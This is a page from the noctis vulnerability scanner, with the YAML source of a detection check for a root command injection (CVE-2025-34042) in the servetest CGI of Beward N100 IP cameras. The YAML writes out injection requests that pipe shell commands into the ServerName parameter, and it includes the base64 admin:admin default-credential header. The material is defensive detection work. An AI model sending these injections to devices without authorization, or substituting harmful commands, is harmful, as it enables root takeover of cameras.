Beward — 1 vulnerability check

noctis ships 1 vulnerability check for Beward, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Beward N100 IP camera servetest authenticated root command injection

CVECVE-2025-34042
Severityhigh · CVSS 7.2
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, script, match · highest QoD 97
Feedtests/vulnerabilities/beward/CVE-2025-34042.yaml

Detects the authenticated OS command injection in the servetest CGI of Beward N100 H.264 IP cameras (firmware M2.1.6.04C014 and earlier), which runs as root. The feed logs in with HTTP Basic authentication, first with the credentials given in the scan request and then with the vendor default admin account, and sends GET /cgi-bin/operator/servetest?cmd=ntp with an empty ServerName followed by a piped command, so the camera's NTP client exits at once and its clock is left unchanged. Logins are only sent when servetest answers an unauthenticated request with 200 or 401. The command prints NOCTIS followed by the difference of two random numbers, computed with `expr` and, when that gives no proof, with shell arithmetic in a second request; a last short request runs `id`. The finding fires only when the computed difference (or the id output) comes back, which proves the camera ran the command. The probe is intrusive: it executes a harmless command on the device and logs in with the default account (exclude category rce to skip it).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/operator/servetest?cmd=ntp HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|echo${IFS}NOCTIS`expr${IFS}{{p.a}}${I…
  6. Parses / computes the next value with a Rhai script
  7. Parses / computes the next value with a Rhai script
  8. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))|…
  9. Parses / computes the next value with a Rhai script
  10. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|id||&TimeZone=03:00 HTTP/1.0
  11. Checks r1.banner for NOCTIS[0-9]{6} → finding QoD 97: Beward N100 servetest authenticated root command injection
  12. Checks r2.banner for NOCTIS[0-9]{6} → finding QoD 97: Beward N100 servetest authenticated root command injection
  13. Checks r3.banner for uid=[0-9]+\([^)]*\) gid=[0-9]+ → finding QoD 97: Beward N100 servetest authenticated root command injection

References:

Feed source — tests/vulnerabilities/beward/CVE-2025-34042.yaml
# Beward N100 IP camera — authenticated root command injection in the servetest
# CGI (CVE-2025-34042, Zero Science ZSL-2019-5512, EDB-46319).
#
# Ported from OpenVAS/Greenbone NASL 2019/beward/gb_beward_ip_cameras_root_remote_code_execution.nasl
# (OID 1.3.6.1.4.1.25623.1.0.114072, GPL-2.0-only). The NASL logs in with the
# credentials its Beward detection found working (the default admin:admin),
# sends GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org|id||&TimeZone=03:00
# and matches uid= / gid= / groups= in the reply.
#
# Better than the NASL:
#   - Proof: the injected command prints NOCTIS followed by the difference of two
#     random 6-digit numbers, computed with `expr` and, when that gives no proof,
#     with $((...)) in a second request (minimal BusyBox may lack expr; a shell
#     rejecting $(( as a syntax error must not void the expr form). The
#     difference is never in the request, so a page reflecting ServerName cannot
#     match. The NASL's own `|id||` stays as a last, short fallback (firmware that
#     cuts ServerName short) and matches `uid=N(x) gid=N`, never in the request.
#     Spaces are written ${IFS} and `-` replaces `+` (form decoding).
#   - ServerName starts empty instead of pool.ntp.org: the NTP client then exits at
#     once with a usage / "no servers" error (ntpdate, BusyBox ntpd -p, ntpclient
#     -h alike), so the camera clock is left alone and the CGI answers within the
#     engine's 3 s read window. Boa buffers the CGI output until the CGI's own
#     headers, so a client still waiting on an unreachable server (127.0.0.1, an
#     unresolvable name) would hold the reply past that window.
#   - Gates: an unauthenticated request to servetest must answer 200 or 401 before
#     any Basic login is sent (no admin:admin on every web port of a scan), and the
#     follow-up requests of a pass are skipped once its first request got a 401.
#     The `id` fallback counts only when neither computed probe already returned
#     a uid= line (a canned reply to every injection is not a proof).
#   - Credentials: the account from the scan request is tried first, then the
#     vendor default admin:admin (what the NASL's detection uses), so a camera
#     whose default password was changed is still covered when the operator
#     supplies one.
#   - The command output reaches the socket before the CGI's own headers (the
#     advisory's sample shows the id line in the header block), which an HTTP
#     client may reject as a malformed header: raw tcp_connect reads it as is.
# CVSS 7.2 is the NVD v3 score (authenticated, PR:H).
uid: f32c128b-1812-4440-957f-ce8750aaf2c5
name: "Beward N100 IP camera servetest authenticated root command injection"
description: |
  Detects the authenticated OS command injection in the servetest CGI of Beward
  N100 H.264 IP cameras (firmware M2.1.6.04C014 and earlier), which runs as root.
  The feed logs in with HTTP Basic authentication, first with the credentials
  given in the scan request and then with the vendor default admin account, and
  sends GET /cgi-bin/operator/servetest?cmd=ntp with an empty ServerName followed
  by a piped command, so the camera's NTP client exits at once and its clock is
  left unchanged. Logins are only sent when servetest answers an unauthenticated
  request with 200 or 401. The command prints NOCTIS followed by
  the difference of two random numbers, computed with `expr` and, when that gives
  no proof, with shell arithmetic in a second request; a last short request runs
  `id`. The finding fires only when the computed difference (or the id output)
  comes back, which proves the camera ran the command. The probe is intrusive: it
  executes a harmless command on the device and logs in with the default account
  (exclude category rce to skip it).
cves: [CVE-2025-34042]
cvss: 7.2
severity: high
category: rce
confidence_base: 0.30
tags: [beward, ip-camera, boa, rce, command-injection, authenticated, default-credentials, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-34042"
  - "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5512.php"
  - "https://www.exploit-db.com/exploits/46319"
  - "https://packetstorm.news/files/id/151531"
  - "https://vulncheck.com/advisories/beward-n100-remote-command-execution"
  - "OpenVAS/Greenbone NASL 2019/beward/gb_beward_ip_cameras_root_remote_code_execution.nasl (GPL-2.0-only)"

steps:
  - id: init-pre
    action: set_var
    var_name: pre
    var_value: {connected: false, banner: ""}

  # Product gate: servetest exists (401 without credentials, 200 if open).
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/operator/servetest?cmd=ntp HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: pre

  - id: gate
    action: script
    store_as: present
    code: |
      type_of(pre.banner) == "string" && ereg("^HTTP/1\\.[01] (200|401)", pre.banner)

  # Random operands; only their difference, never sent, proves execution.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(800000, 999999);
      let b = rand_int(100000, 299999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a - b) }

  # One pass per account: the scan request's credentials, then admin:admin.
  # Every stored result is reset at the start of each pass.
  - id: init-r1
    action: set_var
    var_name: r1
    var_value: {connected: false, banner: ""}
    loop:
      over: ["supplied", "default"]
      var: acct

  - id: init-r2
    action: set_var
    var_name: r2
    var_value: {connected: false, banner: ""}

  - id: init-r3
    action: set_var
    var_name: r3
    var_value: {connected: false, banner: ""}

  - id: account
    action: script
    store_as: ah
    code: |
      if acct == "supplied" {
        if present && cred_enabled && is_def_var("cred_username") {
          let pw = "";
          if is_def_var("cred_password") { pw = cred_password; }
          #{ on: true, label: "the credentials supplied with the scan",
             h: "Authorization: Basic " + base64_encode(cred_username + ":" + pw) + "\r\n" }
        } else {
          #{ on: false, label: "", h: "" }
        }
      } else {
        let dup = cred_enabled && is_def_var("cred_username") && is_def_var("cred_password")
                  && cred_username == "admin" && cred_password == "admin";
        #{ on: present && !dup, label: "the default admin account",
           h: "Authorization: Basic YWRtaW46YWRtaW4=\r\n" }
      }

  - id: inject-expr
    action: tcp_connect
    port: "{{port}}"
    condition: "ah.on == true"
    send: "GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|echo${IFS}NOCTIS`expr${IFS}{{p.a}}${IFS}-${IFS}{{p.b}}`||&TimeZone=03:00 HTTP/1.0\r\nHost: {{target_host}}\r\n{{ah.h}}User-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: r1

  - id: hit-expr
    action: script
    store_as: hit1
    code: |
      type_of(r1.banner) == "string" && stridx(r1.banner, p.marker) >= 0

  # The account was accepted: a reply that is not a 401.
  - id: authed
    action: script
    store_as: ok
    code: |
      type_of(r1.banner) == "string" && r1.banner != "" && !ereg("^HTTP/1\\.[01] 401", r1.banner)

  - id: inject-arith
    action: tcp_connect
    port: "{{port}}"
    condition: "ah.on == true && hit1 == false && ok == true"
    send: "GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))||&TimeZone=03:00 HTTP/1.0\r\nHost: {{target_host}}\r\n{{ah.h}}User-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: r2

  - id: hit-arith
    action: script
    store_as: hit2
    code: |
      hit1 || (type_of(r2.banner) == "string" && stridx(r2.banner, p.marker) >= 0)

  # Short fallback (the NASL's payload) for firmware that cuts ServerName short.
  - id: inject-id
    action: tcp_connect
    port: "{{port}}"
    condition: "ah.on == true && hit2 == false && ok == true"
    send: "GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|id||&TimeZone=03:00 HTTP/1.0\r\nHost: {{target_host}}\r\n{{ah.h}}User-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: r3

  - id: confirm-expr
    action: match
    source: r1.banner
    pattern: "NOCTIS[0-9]{6}"
    condition: "hit1 == true"
    on_match:
      finding:
        title: "Beward N100 servetest authenticated root command injection"
        confidence_delta: 0.65
        qod: 97
        evidence: "Logged in with {{ah.label}}; GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|echo NOCTIS`expr {{p.a}} - {{p.b}}`|| returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

  - id: confirm-arith
    action: match
    source: r2.banner
    pattern: "NOCTIS[0-9]{6}"
    condition: "hit1 == false && hit2 == true"
    on_match:
      finding:
        title: "Beward N100 servetest authenticated root command injection"
        confidence_delta: 0.65
        qod: 97
        evidence: "Logged in with {{ah.label}}; GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|echo NOCTIS$(({{p.a}}-{{p.b}}))|| returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

  - id: confirm-id
    action: match
    source: r3.banner
    pattern: "uid=[0-9]+\\([^)]*\\) gid=[0-9]+"
    condition: "hit2 == false && ok == true && stridx(r1.banner, \"uid=\") < 0 && (type_of(r2.banner) != \"string\" || stridx(r2.banner, \"uid=\") < 0)"
    on_match:
      finding:
        title: "Beward N100 servetest authenticated root command injection"
        confidence_delta: 0.65
        qod: 97
        evidence: "Logged in with {{ah.label}}; GET /cgi-bin/operator/servetest?cmd=ntp&ServerName=|id|| returned the output of the id command at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub